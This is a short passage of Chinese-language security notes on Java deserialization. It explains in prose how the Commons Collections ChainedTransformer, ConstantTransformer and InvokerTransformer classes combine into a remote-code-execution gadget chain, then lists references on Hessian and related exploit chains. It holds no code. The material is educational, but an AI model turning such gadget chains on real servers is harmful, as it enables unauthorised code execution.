- Apache Commons Collections被广泛使用在各种Java框架开发中,因此攻击者尝试从Apache Commons Collections寻找用于被动态反序列化重建的类
- 攻击者找到了Apache Commons Collections的的Tranesformer接口类下的ChainedTransformer、ConstantTransformer、InvokerTransformer,这3个类互相配合,可以允许外部可控执行任意函数,任意参数的目的
- 至此,一个反序列化RCE漏洞构造完成
0x2:Hessian 反序列化及相关利用链
参考链接:
https://r17a-17.github.io/2020/06/10/JAVA%E5%AE%89%E5%85%A8-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E7%B1%BB%E6%BC%8F%E6%B4%9E%E5%AD%A6%E4%B9%A0/ https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#protection https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet https://www.jianshu.com/p/776c56fc3a80 https://paper.seebug.org/1131/ https://r17a-17.github.io/2021/08/27/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%92%8C%E9%9B%86%E5%90%88%E4%B9%8B%E9%97%B4%E7%9A%84%E6%B8%8A%E6%BA%90/ https://r17a-17.github.io/2021/08/17/%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%85%A5%E5%8F%A3PriorityQueue%E5%88%86%E6%9E%90%E5%8F%8A%E7%9B%B8%E5%85%B3Gadget%E6%80%BB%E7%BB%93/ https://r17a-17.github.io/2021/08/06/RMI-LDAP-JNDI%E5%8F%8AJdbcRowSetImpl%E5%88%A9%E7%94%A8/